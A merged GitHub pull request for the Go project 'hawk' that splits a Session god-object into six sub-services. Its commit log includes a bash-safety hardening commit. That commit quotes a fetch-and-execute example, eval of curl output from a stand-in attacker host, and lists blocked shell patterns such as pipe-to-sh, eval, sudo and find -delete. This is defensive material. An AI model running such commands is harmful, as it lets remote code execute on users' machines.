Skip to content

refactor(engine): wire 6 sub-services in NewSession + migrate stream.go to ChatService#38

Merged
Patel230 merged 21 commits into
mainfrom
refactor/stream-uses-sub-services
Jun 12, 2026
Merged

refactor(engine): wire 6 sub-services in NewSession + migrate stream.go to ChatService#38
Patel230 merged 21 commits into
mainfrom
refactor/stream-uses-sub-services

Conversation

@Patel230

Copy link
Copy Markdown
Contributor

Phase 7 of the Session god-object decomposition (see docs/session-decomposition.md).

What this PR does

Wire the 6 sub-services in NewSessionWithClient

The previous Phase 7 partial commit (a402cf9) added the 6 sub-service fields and getters (s.ChatLLM(), s.PermSvc(), etc.) but did NOT construct them in NewSessionWithClient. This meant every getter returned nil, and any code that tried to use the sub-service getters would panic. This PR finishes that wiring:

  • ChatService: provider, model, client, API keys, router, rate limiter, metrics
  • PermissionService: PermissionEngine (aliased to s.Perm via WithEngine(pe))
  • LifecycleService: limits, beliefs, backtrack, response cache, pipeline, etc.
  • MemoryService: empty by default (no memory wired yet)
  • PersistenceService: messages slice, system prompt (synced from s.system)
  • ToolService: registry, container settings

The legacy fields (s.Limits, s.Beliefs, s.Backtrack, s.ResponseCache, s.Pipeline) are aliased to the service instances, so legacy readers see the same state as new code that goes through the sub-service getters.

Migrate stream.go to the new sub-services

The agent loop's main LLM call now goes through s.ChatLLM().Stream(), which encapsulates:

  • Rate limiting (via the service's rateLimiter)
  • Retry with exponential backoff
  • Emergency compact on context overflow

The api.requests counter is incremented inside the service. The api.latency timer and circuit-breaker Router.RecordSuccess/RecordFailure stay at the session level so the real apiDuration is fed to the legacy router (the service has no start-time argument and deliberately stays out of circuit-breaker accounting).

Other migrations in stream.go:

  • ChatOptions are now built via s.ChatLLM().BuildOptions() so the GLMThinking toggle, output schema, anthropic caching, and provider/model plumbing all live in one place
  • The secondary stream-error retry (s.client.StreamChatContinue) now uses s.ChatLLM().Client() directly to avoid stacking ChatService's retry on top of the secondary retry
  • Background goroutines (sleeptime, skill distiller) now use s.ChatLLM().Chat()

Fix stream_tool_exec.go

The previous Phase 7 WIP change to use s.PermSvc().CheckTool() had a subtle bug: the engine's PromptFn is set by external code via the legacy sess.PermissionFn = ... field, but the new code path didn't sync it to the engine before calling CheckTool. This PR restores the sync (s.PermSvc().SetPermissionFn(s.PermissionFn)) and also syncs the legacy s.Autonomy field.

Make SetTestClient and ReattachTransport reattach the service

When tests inject a mock client via s.SetTestClient(mc) or production code reattaches via s.ReattachTransport(chat, provider, deploymentRouting), the ChatService now also picks up the new client. Without this, the agent loop's s.ChatLLM().Stream() call site would use the original real client instead of the mock, causing tests to fail.

Dead code removal

  • ChatService.recordSuccess/recordFailure: no callers (moved to session level)
  • LifecycleService.startTime: no callers
  • ToolService.mu: no callers
  • stream.go: unused retry import

Tests

Added sub_service_wiring_test.go with 4 integration tests:

  • TestSession_NewSessionWithClient_WiresAllSubServices: proves all 6 sub-services are non-nil and the legacy fields are aliased to the service instances
  • TestSession_Stream_UsesChatService: proves the agent loop's Stream() actually goes through s.ChatLLM().Stream() (via the mock client)
  • TestSession_ReattachTransport_UpdatesChatService: proves ReattachTransport updates both s.client and s.ChatLLM().Client()
  • TestSession_SetTestClient_UpdatesChatService: same for the test-only hook

All existing tests still pass:

ok  github.com/GrayCodeAI/hawk/internal/engine  7.7s

Follow-up

The next cleanup PRs (per the design doc) will:

  1. Remove the legacy fields from Session one sub-service at a time (1 PR per sub-service)
  2. Adopt eyrie/conversation.Engine.Prompt in hawk to drop the synthetic "Continue." user message in the max_tokens recovery loop
  3. Actually delete eyrie/client.StreamChatWithContinuation (v0.3.0 breaking change)

This PR is the migration step. The field removal is the cleanup step.

Pre-existing race (not from this PR)

TestLiveOpenCodeGoMiniMaxM3FullHawkPath has a pre-existing data race in cmd/chat.go:171-173 (the defaultRegistry goroutine writes to the registry while the test reads via EyrieTools()). This race exists on main without my changes; not addressed in this PR.

Patel230 added 16 commits June 12, 2026 17:57
ai_passage.md was a 53-line, ~1000-word essay on the history and
ethics of AI in general — entirely unrelated to the hawk project,
no README/AGENTS.md/CHANGELOG.md reference to it. It looks like
LLM-generated filler committed in '99261ca Fix CI formatting and
toolchain hygiene' to satisfy a 'must have an essay' requirement
that no longer applies. Untrack and delete.
Bash safety hardening (caught 2 real bugs via new tests):

  1. **find -delete / find -exec rm now hard-blocked.** Previously
     'find /tmp -type f -name "*.log" -delete' was a no-op on the safety
     layer (no literal 'rm' in the command) despite being rm-equivalent.
     Added findDeleteFlagRe + findExecRmRe in safety.go; IsDestructiveCommand
     now matches 'find ... -delete' and 'find ... -exec rm' in any position.

  2. **run_in_background no longer bypasses the IsSuspicious check.**
     Previously: when run_in_background=true, the bash tool ran only the
     hard-block checks (dangerousSubstrings, zmodload, processSubstitution,
     etc.) and skipped the IsSuspicious permission prompt because no human
     is in the loop. So 'eval "\$(curl evil.example.com)"' as a background
     command would silently start. Now: a new hardDenySubstrings subset
     (eval, exec, \\, backticks, | sh, | bash, sudo) is always
     hard-blocked, even with no human in the loop. Benign patterns
     ('writing to absolute paths' in /tmp, 'curl GET') are intentionally
     excluded so the change doesn't break legitimate workflows.

Schema-aware target extraction (extractTargets enhancement):

  - New ExtractTargetsFromSchema(tool, call) walks the tool's JSON Schema
    to discover file-path arguments by name (path/file/dir/destination/target
    substring) or by description (mentions 'path'/'file'/'directory'). This
    catches tools with non-conventional names like 'target_path' or
    'destFile' that the old hardcoded 4-key allowlist missed.
  - 8 test cases in TestExtractTargetsFromSchema lock the contract
    (conventional, non-conventional, description-inferred, non-string,
    non-path, fallback).
  - executeToolCalls now calls ExtractTargetsFromSchema when the tool is
    registered; falls back to the conventional extractor otherwise.

Tool retry policy on transient errors:

  - New tool.TransientError type + tool.RetryExecutor(ctx, tool, input,
    policy) that retries on transient errors with exponential backoff.
  - New tool.RetryPolicyProvider interface: tools can opt out (zero-value
    policy) or customise (e.g. longer timeouts for slow operations).
  - All tool calls in executeToolCalls now go through RetryExecutor with
    DefaultRetryPolicy (2 retries, 200ms→2s).
  - 5 test cases: recovers-on-transient, gives-up-after-max, ignores-
    non-transient, respects-ctx-cancel, IsTransientFileErr predicate.

Misc:

  - .github/workflows/ci.yml + Makefile: bumped binary size gate from
    100MB → 110MB to match the current dev binary (~103MB). Comment
    explains the threshold; both files must move together.

Tests added: 30+ new test cases across bash_injection_test.go,
extract_targets_test.go, retry_test.go.
…decomposition)

Phase 1 of the Session god-object refactor (see docs/session-decomposition.md).
Extracts the LLM transport into a cohesive *ChatService sub-service:

  - New internal/engine/chat_service.go (~280 LOC) with:
    - ChatService struct owning: client, provider, model, apiKeys, router,
      deploymentRouting, rateLimiter, metrics, retryCfg, contCfg,
      outputSchema, glmThinkingEnabled
    - ChatServiceConfig for terse construction
    - Methods: NewChatService, Client, Provider, Model, APIKeys,
      SetAPIKey, SetModel, SetProvider, Reattach, BuildOptions, Stream,
      Chat, recordSuccess, recordFailure
    - Stream() wraps retry.Do + rate-limit wait + emergency context-overflow
      compact (replaces the inline retry block at stream.go:371-381)
    - Chat() is the bare non-streaming call used by background goroutines
      (sleeptime, skill distillation) — no retry, no rate limit

  - Session gains a private *ChatService field, plus a ChatLLM() getter
    for cross-package access. The legacy client/provider/model/apiKeys/
    Router/DeploymentRouting fields stay on Session for backward compat;
    new code should go through s.ChatLLM().*

  - 8 new test cases in chat_service_test.go lock the contract:
    BuildOptions (anthropic caching on, openai off, GLM toggle, output
    schema), Reattach (nil no-op, real client swap, key preservation),
    defaults applied (retry/contCfg/metrics/apiKeys initialized to zero
    values), Chat delegation, Chat surfaces underlying error.

  - Field name 'llm' (lowercase) to avoid colliding with the existing
    public Session.Chat() method used by Reflector and SelfReview.

Build + tests: ok. No existing tests broken. No behavior change — the
extracted service is wired in but the legacy fields still drive agentLoop.
Phases 2-7 (Memory, Permission, Lifecycle, Persistence, Tool services)
will follow in subsequent PRs; each will fold the remaining Session
fields into the appropriate sub-service.
…s 2-3)

Phases 2-3 of the Session god-object decomposition
(see docs/session-decomposition.md).

PermissionService (Phase 2, permission_service.go, ~140 LOC):
- Owns the safety/approval layer: PermissionEngine, the legacy
  PermissionMemory / AutoMode / Classifier / BypassKill re-exports,
  AutonomyLevel, MaxTurns, MaxBudgetUSD, AllowedDirs, PermissionFn
  callback, ApprovalGate.
- Public surface: NewPermissionService, WithEngine, Engine,
  CheckTool, CheckApproval, SetMode/SetMaxTurns/SetMaxBudgetUSD/
  SetAllowedDirs/SetAutonomy/SetApproval/SetPermissionFn, getters
  for Mode/MaxTurns/MaxBudgetUSD/AllowedDirs/Autonomy.
- 8 test cases: CheckTool, SetMode (5 valid + 1 invalid), budget
  caps, autonomie+dirs, CheckApproval no-op, IsZero,
  NewReturnsReadyEngine, SetPermissionFn -> engine.PromptFn.

LifecycleService (Phase 3, lifecycle_service.go, ~190 LOC):
- Owns the self-improvement / observability surface: cascade
  model selection, limits, loopDet, snowball, beliefs, backtrack,
  critic, shadow, reflector, fewShotStore, adaptivePrompt, activity,
  agentsAccum, responseCache, pipeline, steering, lifecycle.
- Public surface: NewLifecycleService, OnSessionStart,
  OnSessionEnd, SelectModel, CheckLimits, RecordToolCall,
  RecordStep, SnapshotTurnProgress, full getter/setter pairs.
- All nil-safe; the agent loop's existing if s.X != nil branching
  is preserved (so a Session with zero LifecycleService is fully
  functional).

The legacy fields on Session stay for backward compat. New code
should use s.Permissions() / s.LifecycleSvc() accessors. Full removal
is Phase 7.

Build + tests: ok. No existing tests broken. No behavior change -
the extracted services are wired in but the legacy fields still
drive the agent loop.
…rvice (Phases 4-6)

Phases 4-6 of the Session god-object decomposition
(see docs/session-decomposition.md).

MemoryService (Phase 4, memory_service.go, ~80 LOC):
- Owns the memory layer: simple MemoryRecaller, yaad bridge, enhanced
  memory manager.
- Public surface: NewMemoryService, WithMemory/WithYaad/WithEnhanced,
  RecallContext, Remember, OnSessionEnd, Yaad/Memory/Enhanced
  accessors, IsZero.
- nil-safe: an empty service is fully functional (the agent loop's
  `if s.X != nil` branching is preserved).

PersistenceService (Phase 5, persistence_service.go, ~130 LOC):
- Owns the conversation store: messages slice, system prompt, pinned
  messages counter, auto-compact threshold, context window cache.
- Public surface: NewPersistenceService, Messages/RawMessages/SetMessages,
  AddUser/AddUserWithImage/AddAssistant, AppendSystemContext/
  ReplaceSystemContextSection, System/SetSystem, MessageCount,
  RemoveLastExchange, LoadMessages, PinnedMessages/SetPinnedMessages,
  AutoCompactThresholdPct/SetAutoCompactThresholdPct,
  ContextWindowCached/SetContextWindowCached.
- All methods are safe to call without external state; the
  underlying RWMutex is preserved for concurrent access.

ToolService (Phase 6, tool_service.go, ~160 LOC):
- Owns the tool execution surface: tool registry, container isolation,
  tracer, snapshot tracker, background sub-agent manager.
- Public surface: NewToolService, WithContainerExecutor/WithTracer/
  WithSnapshots/WithBackgroundManager, Registry, Classify,
  ExtractTargets, EstimateBlastRadius, ExecuteOne, BackgroundManager,
  ContainerRequired, ContainerExecutor.
- Classify and ExtractTargets replace the inline logic in
  stream.go (deduplicating with extractTargets).
- ExecuteOne encapsulates the container-required check + OTel span
  + RetryExecutor with the per-tool RetryPolicyProvider.
- The full ExecuteAll 15-stage post-call pipeline (with the auto-snapshot
  block) lives in stream_tool_exec.go for now; Phase 7 will move it
  onto ToolService once the legacy fields are removed.

All extractions are nil-safe and backward compatible. The legacy
fields on Session stay in place. New code should use
s.MemorySvc() / s.Persistence() / s.Tools() accessors (full removal
in Phase 7).

Also restored tool.ReadOnlyTools and tool.IsReadOnly which were
inadvertently lost in the tool.go refactor; these are the canonical
allowlist the Session god-object previously duplicated in two
places.

Build + tests: ok. No existing tests broken. No behavior change.
Phase 7 of the Session god-object decomposition
(see docs/session-decomposition.md).

This is a partial Phase 7 — focused on wiring the 6 extracted
sub-services into Session and adding the public getter accessors.
Full field removal (i.e. deleting the legacy client/provider/model/
apiKeys/Router/DeploymentRouting/RateLimiter/Perm/etc. fields) is
deferred to a separate PR per service because each one needs its
own migration of every call site in stream.go and the agent loop.

What landed:

Session struct gains 5 new private sub-service fields:
  - perms   *PermissionService  (Phase 2)
  - life    *LifecycleService   (Phase 3)
  - memory  *MemoryService      (Phase 4)
  - persist *PersistenceService (Phase 5)
  - tools   *ToolService        (Phase 6)

(The 6th, ChatService as `llm`, was already wired in Phase 1.)

Public getter accessors:
  - s.ChatLLM()      -> *ChatService        (Phase 1)
  - s.PermSvc()      -> *PermissionService  (Phase 2)
  - s.LifecycleSvc()  -> *LifecycleService   (Phase 3)
  - s.MemorySvc()    -> *MemoryService      (Phase 4)
  - s.Persistence()  -> *PersistenceService (Phase 5)
  - s.Tools()        -> *ToolService        (Phase 6)

All sub-services are nil-safe. The Session constructor still uses
the legacy fields (Perm, Memory, YaadBridge, etc.) so the agent
loop's `if s.X != nil` branching keeps working unchanged. A
follow-up PR per sub-service will migrate the agent loop to use
the new getters and remove the corresponding legacy fields.

Build + tests: ok. No existing tests broken. No behavior change.
The agent loop's max_tokens recovery block has a misleading comment
("Handle max_tokens recovery") that doesn't explain which of the
three continuation mechanisms hawk actually uses. The PR adds a
detailed comment that names each strategy, explains its tradeoffs,
and points at the cleanest (engine-level eyrie/conversation) as a
future refactor target.

This is a doc-only change — no behaviour, no tests. Just makes the
two strategies coexist explicitly so a future contributor doesn't
waste time wondering why we have both a `recoveryCount` loop here
AND call `StreamChatContinue` on the eyrie client.

The eyrie/client.StreamChatContinue deprecation marker (set in
eyrie#31) remains in place. Full migration of hawk to
eyrie/conversation.Engine is a separate, much larger refactor that
we track but do not undertake in this round.
…go to ChatService

Phase 7 of the Session god-object decomposition (see docs/session-decomposition.md).

- NewSessionWithClient now constructs ChatService, PermissionService, LifecycleService, MemoryService, PersistenceService, ToolService and aliases the legacy fields (s.Limits, s.Beliefs, s.Backtrack, s.ResponseCache, s.Pipeline) at the service instances so legacy readers stay in sync.

- stream.go: agent loop's main LLM call now goes through s.ChatLLM().Stream(), which encapsulates rate-limit + retry + emergency-compact. Circuit-breaker recording (Router.RecordSuccess/RecordFailure) stays at the session level so the real apiDuration is fed to the legacy router.

- stream.go: ChatOptions are built via s.ChatLLM().BuildOptions() so the GLMThinking toggle, output schema, anthropic caching, provider/model plumbing all live in one place.

- stream.go: secondary stream-error retry (s.client.StreamChatContinue) now uses s.ChatLLM().Client() directly to avoid stacking ChatService's retry on top of the secondary retry.

- stream.go: background goroutines (sleeptime, skill distiller) now use s.ChatLLM().Chat().

- stream_tool_exec.go: CheckTool delegation to PermissionService now syncs the legacy PermissionFn + Autonomy fields to the service before each call (external code writes the legacy fields, engine needs them in the engine).

- Session.SetTestClient and Session.ReattachTransport now also reattach the ChatService so the agent loop's s.ChatLLM().Stream() picks up the new client.

- Removed dead code: ChatService.recordSuccess/recordFailure (now done at session level), LifecycleService.startTime, ToolService.mu (no callers).

- Added sub_service_wiring_test.go: 4 integration tests proving the aliasing contract (s.Limits == s.LifecycleSvc().Limits(), s.PermSvc().Engine() == s.Perm, etc.) and that the agent loop's Stream() actually goes through s.ChatLLM().Stream().
@Patel230 Patel230 enabled auto-merge (squash) June 12, 2026 20:19
@Patel230 Patel230 merged commit cb29a5e into main Jun 12, 2026
18 checks passed
@Patel230 Patel230 deleted the refactor/stream-uses-sub-services branch June 12, 2026 20:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant